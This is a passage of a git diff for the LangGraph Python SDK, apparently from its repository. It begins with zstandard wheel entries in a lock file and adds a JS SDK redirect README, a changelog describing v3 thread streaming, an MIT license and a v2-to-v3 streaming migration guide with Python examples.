"sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" }, + { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" }, + { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" }, + { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" }, + { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" }, + { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" }, + { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" }, + { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" }, + { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" }, + { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" }, + { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" }, + { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" }, + { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" }, + { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" }, + { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" }, + { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" }, + { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" }, + { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" }, + { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" }, + { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" }, + { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" }, + { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" }, + { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" }, + { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" }, + { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" }, + { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" }, + { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" }, + { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" }, + { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" }, + { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" }, + { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" }, + { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" }, + { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" }, + { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" }, + { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" }, + { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" }, + { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" }, + { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" }, +] diff --git a/libs/sdk-js/README.md b/libs/sdk-js/README.md new file mode 100644 index 0000000..924e755 --- /dev/null +++ b/libs/sdk-js/README.md @@ -0,0 +1,11 @@ +# LangGraph JavaScript SDK + +Looking for the JS/TS version? Check out [LangGraph.js](https://github.com/langchain-ai/langgraphjs). + +## 🤔 What is this? + +This package has moved to [langchain-ai/langgraphjs](https://github.com/langchain-ai/langgraphjs/tree/main/libs/sdk). + +## 📖 Documentation + +For JavaScript and TypeScript documentation, see the [LangGraph.js docs](https://docs.langchain.com/oss/javascript/langgraph/overview). diff --git a/libs/sdk-py/CHANGELOG.md b/libs/sdk-py/CHANGELOG.md new file mode 100644 index 0000000..32c29f0 --- /dev/null +++ b/libs/sdk-py/CHANGELOG.md @@ -0,0 +1,48 @@ +# Changelog + +## Unreleased + +### Added + +- **Thread-centric streaming (v3)** — `client.threads.stream()` returns an + `AsyncThreadStream` (or `SyncThreadStream`) context manager that owns one + SSE or WebSocket connection for the lifetime of a thread session. + +- **Typed projections** — `thread.messages`, `thread.tool_calls`, + `thread.values`, and `thread.extensions[name]` all share the same underlying + transport connection. Iterating multiple projections concurrently expands the + server-side filter union without opening additional connections. + +- **Scoped subgraph handles** — `thread.subgraphs` (alias `thread.subagents`) + yields one `ScopedStreamHandle` per direct child invocation, each exposing + `.messages`, `.tool_calls`, and `.subgraphs` scoped to that namespace. + +- **WebSocket transport** — pass `transport="websocket"` to + `client.threads.stream()` to use a WebSocket connection instead of SSE + (async client only). + +- **Automatic reconnect** — the shared SSE fan-out and the lifecycle watcher + both reconnect on transport drops, replaying missed events via a `since` + cursor and deduplicating by `event_id`. + +- **`thread.agent.get_tree()`** — fetches the assistant graph definition for + the current session's `assistant_id` with optional `xray` depth control. + +- **`thread.run.respond()`** — resumes a run after a server-side interrupt, + resolving the outstanding `InterruptPayload` by `interrupt_id`. + +- **`thread.output`** — awaitable that resolves to the terminal thread state + `values` dict after the run lifecycle completes. + +### Changed + +- `client.threads.stream()` now accepts `transport="sse"` (default) or + `transport="websocket"` in place of the previous transport-agnostic default. + +### Notes + +- The v3 streaming surface (`AsyncThreadStream`, `SyncThreadStream`, and all + projection classes) is **new** in this release. The existing + `client.runs.stream()` (v2) surface is unchanged and remains fully supported. +- `thread_id` is minted client-side (UUIDv4) when not provided; the server + creates the thread row lazily on the first `run.start`. diff --git a/libs/sdk-py/LICENSE b/libs/sdk-py/LICENSE new file mode 100644 index 0000000..fc0602f --- /dev/null +++ b/libs/sdk-py/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 LangChain, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/libs/sdk-py/MIGRATION.md b/libs/sdk-py/MIGRATION.md new file mode 100644 index 0000000..9c9742f --- /dev/null +++ b/libs/sdk-py/MIGRATION.md @@ -0,0 +1,118 @@ +# Migration Guide: v2 → v3 Streaming + +`client.runs.stream()` (v2) remains fully supported. This guide covers how to +adopt the new `client.threads.stream()` (v3) surface when you want typed +projections, shared SSE fan-out, or WebSocket transport. + +## Minimal before/after + +**v2 — `client.runs.stream()`** + +```python +from langgraph_sdk import get_client + +client = get_client() + +thread = await client.threads.create() +async for chunk in client.runs.stream( + thread["thread_id"], + "agent", + input={"messages": [{"role": "user", "content": "hello"}]}, + stream_mode="messages", +): + print(chunk.event, chunk.data) +``` + +**v3 — `client.threads.stream()`** + +```python +from langgraph_sdk import get_client +import asyncio + +client = get_client() + +async with client.threads.stream(assistant_id="agent") as thread: + await thread.run.start(input={"messages": [{"role": "user", "content": "hello"}]}) + + async for stream in thread.messages: + print(await stream.text) +``` + +## Key differences + +| | v2 `client.runs.stream()` | v3 `client.threads.stream()` | +|---|---|---| +| Thread creation | Explicit `client.threads.create()` | Lazy (minted client-side if omitted) | +| Connection per run | Yes | No — shared SSE for the session | +| Typed projections | No (raw `StreamPart`) | Yes (`messages`, `tool_calls`, `values`, …) | +| Subgraph streaming | Not supported | `thread.subgraphs` / `thread.subagents` | +| WebSocket transport | No | Yes (`transport="websocket"`, async only) | +| Interrupt handling | Manual polling | `thread.interrupted` / `thread.run.respond()` | +| Terminal state | Included in stream | `await thread.output` | + +## Reattaching to an existing thread + +```python +async with client.threads.stream( + thread_id="existing-thread-id", + assistant_id="agent", +) as thread: + # If the run already completed, thread.output resolves immediately. + result = await thread.output +``` + +## Consuming multiple projections concurrently + +All projections share one SSE connection. Use `asyncio.gather` (or +`asyncio.TaskGroup`) to start multiple consumers before any single projection +has finished — the fan-out task routes events to all subscribers in parallel. + +```python +async with client.threads.stream(assistant_id="agent") as thread: + await thread.run.start(input={"messages": [{"role": "user", "content": "hi"}]}) + + async def collect_messages(): + return [s async for s in thread.messages] + + async def collect_tool_calls(): + return [c async for c in thread.tool_calls] + + messages, tool_calls = await asyncio.gather( + collect_messages(), + collect_tool_calls(), + ) +``` + +## Human-in-the-loop (interrupts) + +```python +async with client.threads.stream(assistant_id="agent") as thread: + await thread.run.start(input={"messages": [{"role": "user", "content": "book a flight"}]}) + + # Wait for the run to pause at an interrupt node. + # thread.interrupted becomes True when input.requested arrives. + while not thread.interrupted: + await asyncio.sleep(0.1) + + # Resume with a human response (unambiguous when only one interrupt is outstanding). + await thread.run.respond("yes, confirm booking") + + result = await thread.output +``` + +## Sync client + +The sync client mirrors the async API without `async`/`await`: + +```python +from langgraph_sdk import get_sync_client + +client = get_sync_client() + +with client.threads.stream(assistant_id="agent") as thread: + thread.run.start(input={"messages": [{"role": "user", "content": 